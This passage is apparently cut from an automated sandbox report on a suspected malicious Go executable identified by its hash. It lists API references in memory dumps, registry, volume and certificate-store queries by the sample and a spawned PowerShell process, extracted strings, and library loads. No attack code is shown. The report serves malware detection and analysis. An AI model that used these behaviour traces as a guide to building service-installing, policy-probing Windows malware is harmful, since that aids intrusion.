"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolumeMountPoint"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindVolumeMountPointClose" (Indicator: "FindVolumeMountPointClose"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstVolumeA" (Indicator: "FindFirstVolume"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "FindFirstVolumeW" (Indicator: "FindFirstVolume"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameAGetVolumePathNamesForVolumeNameWAddClipboardFormatListener" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameAGetVolumePathNamesForVolumeNameWAddClipboardFormatListener" (Indicator: "GetVolumePathName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetVolumePathNameA" (Indicator: "GetVolumePathName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameA" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameA" (Indicator: "GetVolumePathName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")42:T46f,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "svcctrl3249_1523.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")43:T684,file/memory contains long string with (Indicator: "GetFileTime"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")44:T8ec,file/memory contains long string with (Indicator: "EnumWindows"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetForegroundWindow"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "EnumChildWindowsEnumDesktopsA" (Indicator: "EnumDesktops"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumDesktopsW" (Indicator: "EnumDesktops"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowExA" (Indicator: "FindWindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumWindowStationsA" (Indicator: "EnumWindowStations"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "EnumWindowStations"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumDesktopsA" (Indicator: "EnumDesktops"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")45:T7b5,file/memory contains long string with (Indicator: "GetVersion"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.rtlGetVersion" (Indicator: "GetVersion"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")46:Ta52,file/memory contains long string with (Indicator: "GetVolumeInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetVolumePathNamesForVolumeName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetVolumeNameForVolumeMountPoint"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.GetVolumeInformationByHandle" (Indicator: "GetVolumeInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetVolumeNameForVolumeMountPointA" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetVolumeNameForVolumeMountPointW" (Indicator: "GetVolumeNameForVolumeMountPoint"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetVolumeInformationByHandleW" (Indicator: "GetVolumeInformation"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameAGetVolumePathNamesForVolumeNameWAddClipboardFormatListener" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetVolumeInformationA" (Indicator: "GetVolumeInformation"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumeInformationW" (Indicator: "GetVolumeInformation"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameA" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetUserDefaultLocaleNameGetUserDefaultUILanguageGetVDMCurrentDirectoriesGetVolumeInformationA" (Indicator: "GetVolumeInformation"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")47:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")48:T10cf,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003628-00000C17-689972515 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-678423413 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001336-00000C17-678881090 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001336-00000C17-678895226 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001336-00000C17-679045062 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-679586246 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-679686101 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-679738979 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-679912188 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-679946730 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680303866 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680439684 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680478901 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680513435 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680551988 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680591272 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-680631135 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001336-00000C17-68637421049:T81d,Found string - start PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=executable: %wNetworkInstallpipe write: %w\\.\pipe\MSSE-cdpsgshims.dll%s unavailableunexpected EOFinvalid syntaxunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: 1907348632812595367431640625RegSetValueExWh %x not foundcrypto/fips140mime/multipartx509sha256skidControlServiceCreateServiceWIsWellKnownSidMakeAbsoluteSDSetThreadTokenClearCommBreakClearCommErrorCreateEventExWCreateMutexExWGetTickCount64IsWow64ProcessLoadLibraryExWSetConsoleModeSizeofResourceVirtualProtectVirtualQueryExCoInitializeExCoUninitializeGetShellWindowVerQueryValueWRCodeNameErrorAPPDATA not setCopy failed: %vFatal panic: %vGetProcessTimesDuplicateHandle is not definedadvertise errorkey has expirednetwork is downno medium foundno such processGetAdaptersInfoCreateHard Found string - start PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=executable: %wNetworkInstallpipe write: %w\\.\pipe\MSSE-cdpsgshims.dll%s unavailableunexpected EOFinvalid syntaxunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: 1907348632812595367431640625RegSetValueExWh %x not foundcrypto/fips140mime/multipartx509sha256skidControlServiceCreateServiceWIsWellKnownSidMakeAbsoluteSDSetThreadTokenClearCommBreakClearCommErrorCreateEventExWCreateMutexExWGetTickCount64IsWow64ProcessLoadLibraryExWSetConsoleModeSizeofResourceVirtualProtectVirtualQueryExCoInitializeExCoUninitializeGetShellWindowVerQueryValueWRCodeNameErrorAPPDATA not setCopy failed: %vFatal panic: %vGetProcessTimesDuplicateHandle is not definedadvertise errorkey has expirednetwork is downno medium foundno such processGetAdaptersInfoCreateHar4a:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")4b:T3f27,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003628) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter 